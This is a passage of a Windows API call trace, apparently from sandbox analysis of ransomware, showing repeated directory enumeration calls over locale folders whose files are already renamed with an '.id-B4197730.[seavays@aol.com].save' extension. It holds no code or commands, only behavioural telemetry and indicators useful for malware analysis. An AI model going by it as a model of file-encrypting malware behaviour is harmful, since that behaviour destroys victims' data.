ftCreationTime.dwLowDateTime=0x74a7b4e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x74a7b4e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x75b16f9, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0159.023] FindNextFileW (in: hFindFile=0x4531b00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x74a7b4e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x74a7b4e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x75b16f9, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0159.023] FindClose (in: hFindFile=0x4531b00 | out: hFindFile=0x4531b00) returned 1 [0159.024] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.024] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="1044", cAlternateFileName="")) returned 1 [0159.024] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0159.024] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x4531840 [0159.025] FindNextFileW (in: hFindFile=0x4531840, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0159.025] FindNextFileW (in: hFindFile=0x4531840, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83bc41f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x83bc41f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x83e24ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0159.025] FindNextFileW (in: hFindFile=0x4531840, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83e24ca, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x83e24ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x88f366e, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0159.025] FindNextFileW (in: hFindFile=0x4531840, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x74a7b4e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x74a7b4e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x74cc906, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0159.025] FindNextFileW (in: hFindFile=0x4531840, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x74a7b4e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x74a7b4e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x74cc906, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0159.025] FindClose (in: hFindFile=0x4531840 | out: hFindFile=0x4531840) returned 1 [0159.026] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.026] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="1045", cAlternateFileName="")) returned 1 [0159.026] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0159.026] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x4531a00 [0159.027] FindNextFileW (in: hFindFile=0x4531a00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0159.027] FindNextFileW (in: hFindFile=0x4531a00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x853d076, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x853d076, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x853d076, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0159.027] FindNextFileW (in: hFindFile=0x4531a00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x853d076, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x853d076, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x855fce7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0159.027] FindNextFileW (in: hFindFile=0x4531a00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x74cc906, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x74cc906, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x767047d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0159.027] FindNextFileW (in: hFindFile=0x4531a00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x74cc906, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x74cc906, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x767047d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0159.027] FindClose (in: hFindFile=0x4531a00 | out: hFindFile=0x4531a00) returned 1 [0159.028] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.028] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="1046", cAlternateFileName="")) returned 1 [0159.028] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0159.028] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x4531a80 [0159.029] FindNextFileW (in: hFindFile=0x4531a80, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0159.029] FindNextFileW (in: hFindFile=0x4531a80, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x855fce7, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x855fce7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x855fce7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0159.029] FindNextFileW (in: hFindFile=0x4531a80, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x858651b, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x858651b, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8a70cc6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0159.029] FindNextFileW (in: hFindFile=0x4531a80, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x764a1c2, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x764a1c2, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x764a1c2, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0159.029] FindNextFileW (in: hFindFile=0x4531a80, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x764a1c2, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x764a1c2, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x764a1c2, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0159.029] FindClose (in: hFindFile=0x4531a80 | out: hFindFile=0x4531a80) returned 1 [0159.030] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.030] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="1049", cAlternateFileName="")) returned 1 [0159.030] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0159.030] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x4531c40 [0159.031] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0159.031] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x85ac238, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x85ac238, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x85ac238, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0159.031] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x85ac238, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x85ac238, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x85d24fd, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0159.032] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x764a1c2, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x764a1c2, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f4403b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0159.032] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x764a1c2, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x764a1c2, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f4403b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0159.032] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0159.032] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.032] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="1053", cAlternateFileName="")) returned 1 [0159.033] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0159.033] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x4531a80 [0159.033] FindNextFileW (in: hFindFile=0x4531a80, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0159.033] FindNextFileW (in: hFindFile=0x4531a80, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x85d24fd, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x85d24fd, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8b2fa3c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0159.034] FindNextFileW (in: hFindFile=0x4531a80, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87c24f3, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x87c24f3, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x87c24f3, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0159.034] FindNextFileW (in: hFindFile=0x4531a80, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x767047d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x767047d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x769659b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0159.034] FindNextFileW (in: hFindFile=0x4531a80, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x767047d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x767047d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x769659b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0159.034] FindClose (in: hFindFile=0x4531a80 | out: hFindFile=0x4531a80) returned 1 [0159.035] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.035] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="1055", cAlternateFileName="")) returned 1 [0159.035] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0159.035] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName=".", cAlternateFileName="")) returned 0x4531b80 [0159.036] FindNextFileW (in: hFindFile=0x4531b80, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="..", cAlternateFileName="")) returned 1 [0159.036] FindNextFileW (in: hFindFile=0x4531b80, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87ea1d0, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x87ea1d0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x87ea1d0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0xffffe0f2, dwReserved1=0x8e4, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0159.036] FindNextFileW (in: hFindFile=0x4531b80, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x88f366e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x88f366e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8919802, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, 